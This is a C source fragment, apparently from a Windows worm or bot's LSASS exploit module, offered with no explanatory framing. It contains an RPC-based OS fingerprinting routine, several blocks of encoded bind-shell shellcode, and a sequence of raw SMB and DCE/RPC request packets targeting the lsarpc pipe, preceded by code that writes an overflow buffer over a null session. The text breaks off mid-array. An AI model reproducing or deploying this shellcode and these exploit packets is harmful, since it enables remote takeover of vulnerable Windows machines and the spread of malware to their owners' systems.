				}

				if(!WriteFile(hFile, overflow, sizeof(overflow), &lWritten, 0))
				{ 
					CloseHandle(hFile);
					CloseNullSession(Host);
					return false;
				}
				CloseHandle(hFile); 
			CloseNullSession(Host);
			return true; 

	return false;
}

*/
/*
#ifdef XLSASSCRACKER
// OS fingerprint
#define FP_RPC     1
#define FP_PORT5K  2
#define FP_TTL     3

// Definitions for OS fingerprinting
#define OS_UNKNOWN 0
#define OS_WINNT   1
#define OS_WIN2K   2
#define OS_WINXP   3

#define FP_RPC     1
#define FP_PORT5K  2
#define FP_TTL     3

// DCE defines
#define DCE_VERSION_MAJOR 0x05
#define DCE_VERSION_MINOR 0x00
#define DCE_PKT_BIND 0x0B
#define DCE_PKT_BINDACK 0x0C
#define DCE_PKT_BINDNACK 0x0D
#define DCE_PKT_REQUEST 0x00
#define DCE_PKT_FAULT 0x03
#define DCE_PKT_RESPONSE 0x02
#define DCE_PKT_ALTCONT 0x0E
#define DCE_PKT_ALTCONTRESP 0x0F
#define DCE_PKT_BINDRESP 0x10
#define RPC_FLG_FIRST 0x01
#define RPC_FLG_LAST 0x02


char rpcfp_bindstr[]=
	"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
	"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89"
	"\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
	"\x2b\x10\x48\x60\x02\x00\x00\x00";

char rpcfp_inqifids[]=
	"\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00";

char w2kuuid_sig[]=
	"\xB0\x01\x52\x97\xCA\x59\xD0\x11\xA8\xD5\x00\xA0\xC9\x0D\x80\x51";

char wxpuuid_sig[]=
	"\x26\xB5\x55\x1D\x37\xC1\xC5\x46\xAB\x79\x63\x8F\x2A\x68\xE8\x69";


bool MemContains(const char *pMem, const int iMemLen, const char *pSearch, const int iSearchLen)
{
	for(int i=0;i<iMemLen-iSearchLen;i++)
		if(!memcmp(pMem+i, pSearch, iSearchLen))
			return true;

	return false;
}

int FpHost(CLIENT* client, char *Host, short FpType)
{
	switch(FpType)
	{
		case FP_RPC:
		{
				char szRecvBuf[8192];
			
				int iRetVal=OS_UNKNOWN;
				SOCKET sock = XSocket();
			
				if BAD_SOCKET(sock) 
					return OS_UNKNOWN;
			
				SOCKADDR_IN ssin; 
				memset(&ssin, 0, sizeof(ssin)); 
				ssin.sin_family = AF_INET;
				ssin.sin_port = htons(135); 
				ssin.sin_addr.S_un.S_addr = inet_addr(XResolveHost2(Host));
			
				int iErr = connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin));
				if(iErr!=SOCKET_ERROR)
				{	
					iErr=send(sock, rpcfp_bindstr, sizeof(rpcfp_bindstr)-1, 0);
					if(iErr==SOCKET_ERROR)
					{ 
						closesocket(sock); 
						return iRetVal; 
					}
					if (!XWaitNetworkData(sock, 60, TRUE))
					{
						closesocket(sock);
						return OS_UNKNOWN;
					}
					
					iErr=recv(sock, szRecvBuf, sizeof(szRecvBuf), 0);
					if(iErr==SOCKET_ERROR)
					{ 
						closesocket(sock); 
						return iRetVal; 
					}
					if(szRecvBuf[2]==DCE_PKT_BINDACK) {	
						iErr=send(sock, rpcfp_inqifids, sizeof(rpcfp_inqifids)-1,0);
						if(iErr==SOCKET_ERROR)
						{ 
							closesocket(sock); 
							return iRetVal; 
						}
						if (!XWaitNetworkData(sock, 60, TRUE))
						{
							closesocket(sock);
							return OS_UNKNOWN;
						}
						iErr=recv(sock, szRecvBuf, sizeof(szRecvBuf),0);
						if(iErr==SOCKET_ERROR)
						{ 
							closesocket(sock); 
							return iRetVal; 
						}
						if(szRecvBuf[2]==DCE_PKT_RESPONSE)
						{	
							if(MemContains(szRecvBuf, iErr, w2kuuid_sig, sizeof(w2kuuid_sig)-1))
							{	
								if(iErr<300) 
									iRetVal=OS_WINNT; 
								else 
									iRetVal=OS_WIN2K; 
							}
							else 
								if(MemContains(szRecvBuf, iErr, wxpuuid_sig, sizeof(wxpuuid_sig)-1))
									iRetVal=OS_WINXP;
								else
									iRetVal=OS_UNKNOWN; 
						}
						else
						{	
							closesocket(sock); 
							return iRetVal; 
						} 
					}
					else
					{	
						closesocket(sock); 
						return iRetVal; 
					} 
				}
				else
				{	
					closesocket(sock); 
					return iRetVal; 
				}
				closesocket(sock); 
				return iRetVal; 
			}
			break;
//		case FP_PORT5K:
//			if(AdvPortOpen(inet_addr(szHost), 5000, 3)) return OS_WINXP;
//			break;
		case FP_TTL:
			return OS_UNKNOWN;
			break;
		default:
			return OS_UNKNOWN;
			break; 
	}
	return OS_UNKNOWN;
}

// bind shellcode
char bindshell[] =
	"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
	"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
	"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
	"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
	"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
	"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
	"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
	"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
	"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
	"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
	"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
	"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
	"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
	"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
	"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
	"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
	"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
	"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
	"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
	"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
	"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
	"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
	"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
	"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
	"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
	"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

/*
char shellcode[] = "\xD9"//"\xD9"//xor 0x88 | port 7777
"\xE1\xD9\x34\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x4E\xFE\x80\x30"
"\x88\x40\xE2\xFA\x61\xEC\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E"
"\xEE\x09\x64\x84\x88\x60\x53\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x6F"
"\x88\x88\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01"
"\xDE\xBC\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC"
"\x03\x74\x60\x33\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89"
"\xDC\xE0\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77"
"\x9E\x01\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE"
"\x80\xDF\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C"
"\xE2\x88\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14"
"\x77\x77\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C"
"\xB5\x77\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9"
"\xD8\xDA\xDF\x77\xDE\xA0\x63\x5D\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77\xFE\xBC"
"\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8\x84"
"\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF\x03\xE4"
"\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B"
"\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85"
"\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03"
"\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62\xD7\xD6"
"\xD5\xD3\x4A\x8C\x88\x60\x1F\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3\x2C\x92"
"\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1\xF6\x50"
"\x6A\xFB\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87\xDF\xDB"
"\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xFC\xED\xFB\xFC\xA6\xED\xF0\xED\x88";
*
char shellcode[] =
"\xEB\x0F\x58\x31\xC9\x66\xB9\xB0\x01\x80\x30\x80\x40\xE2\xFA\xEB\x05"
"\xE8\xEC\xFF\xFF\xFF\x68\xC7\x80\x80\x80\x59\x89\x75\x2D\x4B\x6D\x7C"
"\xBB\x24\x9A\xF0\x47\x24\x2D\xAE\x69\x65\xC9\x06\xC9\x36\x99\x98\x67"
"\x67\xF9\x46\xF9\x6F\x4E\x60\xE0\x18\x7E\x0A\x8E\x25\x97\x80\xFC\x9F"
"\xF9\x8A\x68\x7B\x17\x7D\x8F\xD7\xD3\xB2\xDF\xB3\xB2\xAE\xC4\xCC\xCC"
"\x80\xF3\xF9\xF3\xF4\xF8\xB3\xB2\xAE\xE5\xF8\xE5\x80\xDB\xD5\x09\x65"
"\xE6\x01\x6C\xB4\x80\x09\x66\xE6\x01\x6C\x8C\x80\x68\x5B\x80\x80\x80"
"\x09\x47\xD7\xE8\x0E\xCE\x8E\x6C\x68\x67\x80\x80\x80\x09\xC5\x88\x0D"
"\xD3\xB0\xD2\x7F\xD5\x88\x09\xC5\x88\x0D\xD3\xBB\x09\xD6\xB4\xEA\x8D"
"\xD9\xE6\x01\x79\x87\x80\xF5\x83\x0B\xFD\x88\x09\x8E\xD7\x7F\xF4\x0B"
"\x7C\x68\x3B\x80\x80\x80\x0B\x8E\x09\xC4\x0E\x7C\x62\x62\xE6\x01\x6C"
"\x10\x81\xD4\xE8\x81\x81\x80\x80\x7F\xD6\x84\xB1\x7F\xD7\xD7\xD7\xD7"
"\xC7\xD7\xC7\xD7\x7F\x96\x09\x43\xB1\x7F\xD7\xD7\xE8\x82\x80\x9E\xE1"
"\x09\x62\xEA\x90\xD2\xD3\x7F\xD6\x88\xD7\xD3\x7F\xD6\x8C\xD7\xD6\xD3"
"\x7F\xD6\x90\x09\x43\xEA\x80\xEA\x86\xEA\x84\xEA\x80\xEA\x87\xE8\x80"
"\x80\x80\x60\x7F\xF6\xB4\x7F\xD6\xA4\x09\x47\x01\x6C\x1C\x7F\x7F\x7F"
"\x09\x65\x0D\xD5\xE4\xEA\x80\xE8\xE4\x80\x80\x80\xD2\xD3\x7F\xD6\x94"
"\xBD\x7F\x7F\x7F\x7F\xF4\x95\xBD\x80\x80\x80\x80\xF4\x8E\x0D\xD5\xE4"
"\xEA\x80\xD1\xD0\xD2\xD7\x7F\xD6\xA8\x6B\x55\xD7\x7F\xD6\xAC\xE8\x85"
"\x80\x80\x80\x7F\xF6\xB4\x7F\xD6\xA0\xB1\x7F\xD7\x7F\xD6\x9C\xD5\xD6"
"\xE4\x21\xB0\x80\x80\x80\x0B\xC0\x8C\x0B\xF0\x9C\x2D\x0B\xE8\x88\x09"
"\x68\xDE\xDD\x42\x84\x80\xD3\xD5\xD6\xD7\x0B\xEC\xA4\x98\x0B\xC5\xBC"
"\x0B\xD4\x85\xF8\x81\x6A\x0B\xCA\x98\x0B\xDA\xA0\x81\x6B\x63\xB5\xC9"
"\x0B\xB4\x0B\x81\x6E\xB1\x7F\x7C\xB1\x40\x2C\xB8\x60\xF4\x87\x41\x4F"
"\x8D\x81\x47\x6B\x72\xBB\xFC\xA4\x94\xF5\x61\x0B\xDA\xA4\x81\x6B\xE6"
"\x0B\x8C\xCB\x0B\xDA\x9C\x81\x6B\x0B\x84\x0B\x81\x68\x69\x82\x80\x80"
"\x80\xB1\x40\x09\x6A\xDF\xDE\xDD\xDB\x42\x84\x80";

 /*"\xEB" //ok but no success
"\x10\x58\x31\xC9\x66\x81\xE9\x4A\xFE\x80\x30\x88\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\x61\xE0\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E\xEE\x09"
"\x64\x84\x88\x60\x57\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x63\x88\x88"
"\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01\xDE\xBC"
"\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC\x03\x74"
"\x60\x37\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89\xDC\xE0"
"\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77\x9E\x01"
"\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE\x80\xDF"
"\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C\xE2\x88"
"\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14\x77\x77"
"\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C\xB5\x77"
"\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9\xD8\xDA"
"\xDF\x77\xDE\xA0\x63\x5D\xDB\x77\xDE\x90\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77"
"\xFE\xBC\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03"
"\xC8\x84\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF"
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89"
"\x63\x6B\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49"
"\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84"
"\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62"
"\xD7\xD6\xD5\xD3\x4A\x8C\x88\x60\x1B\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3"
"\x2C\x92\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1"
"\x67\x46\x68\xE8\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87"
"\xDF\xDB\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xDA\xB8\xB8\xFC\xA6\xED\xF0\xED\x88";
*

char shellcode[] =
"\xbf\x64\x5b\x75\xa0\xdb\xdb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x49"
"\x31\x7a\x12\x83\xea\xfc\x03\x1e\x55\x97\x55\x36\x3f\x57\x96\xc6"
"\x93\x02\xc0\x91\x98\xc1\xc8\x05\x14\x5c\x2d\xbe\x7e\x5a\x35\xc1"
"\x94\xef\x8f\xd9\xe3\xaa\x2f\xd8\x18\xa9\x02\x93\x55\x1a\xe8\x22"
"\x84\x52\x11\xd8\x69\x55\x41\x18\x6a\x21\x9d\x99\xa5\xc7\xa0\xde"
"\xd1\x2a\x99\x9c\x01\xdf\xab\xbd\xc1\x85\x77\x3c\x3d\x5f\xf3\x32"
"\x8a\x2b\x59\x56\x0d\xc7\xd5\x62\x86\x16\x02\x81\x9a\x29\x12\x0a"
"\xc5\x14\xc9\x76\xf1\xa6\xb3\x1c\x32\xfe\x2f\x6b\x2b\x8b\xeb\x67"
"\xc7\xd0\x17\xfc\xcc\x6d\x7c\x0a\xa0\x19\x0d\x44\x48\x36\xee\x8e"
"\xdd\x01\x90\xc2\xde\x8c\x93\x1a\x88\xd8\xc0\x93\xd3\x0d\xc1\xa3"
"\x1b\xce\x9e\xa2\x1b\xce\x28\xbd\x03\x29\xf0\xa4\x43\x5c\x1c\x9f"
"\x25\xd7\x7b\x05\x5a\x2f\x27\x94\xb4\x46\xf1\xef\x3d\x35\xc9\x02"
"\x41\x7d\x99\x8f\x88\xdd\x16\x1d\xed\xba\xd5\x2a\xcd\x6d\x19\x7b"
"\x84\x51\x6c\x40\x1a\x18\x7b\x2c\x22\xba\xd2\xe3\xd3\x08\x5a\xfc"
"\x79\x75\x3d\x8b\x86\xfb\x5f\x79\xad\x24\xf4\x82\x85\xd5\xa1\x4c"
"\xdb\xe9\x1a\xfc\x4b\xba\xda\xac\x2b\x6a\x24\x19\x80\x03\x1d\x90"
"\x03\x40\xf1\xba\xb1\x67\xe4\x66\x3f\x87\x6c\x86\x6f\x1f\x8e\xf3"
"\xab\xcc\x27\x04\xe6\xda\x94\xae\x5e\xe4\x4e\x6e\xe8\xdd\xf0\x82"
"\xea\xf1\xf2\x5a\x62\x12\x98\x5a\x1c\xd5\x4d\x5a\xdc\x86\x3a\xa5"
"\x89\x30\x44\xb5\x32\x45\x46\x45\xcc\x96";
*


char req1[] =
	"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
	"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
	"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
	"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
	"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
	"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
	"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
	"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
	"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
	"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
	"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
	"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
	"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
	"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
	"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
	"\x2E\x00\x30\x00\x00\x00\x00\x00";

char req3[] =
	"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
	"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
	"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
	"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
	"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
	"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
	"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
	"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
	"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
	"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
	"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
	"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
	"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";

char req4[] =
	"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
	"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
	"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
	"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
	"\x49\x00\x50\x00\x43\x00\x24"
	"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
	"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
	"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
	"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
	"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
	"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
	"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
	"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
	"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
	"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
	"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
	"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
	"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
	"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
	"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
	"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
	"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
	"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
	"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";

char shit1[] =
	"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
	"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
	"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
	"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
	"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
	"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
	"\x00\x00\x00\x00\xAD\x0D\x00\x00";

char req9[] =
	"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
	"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
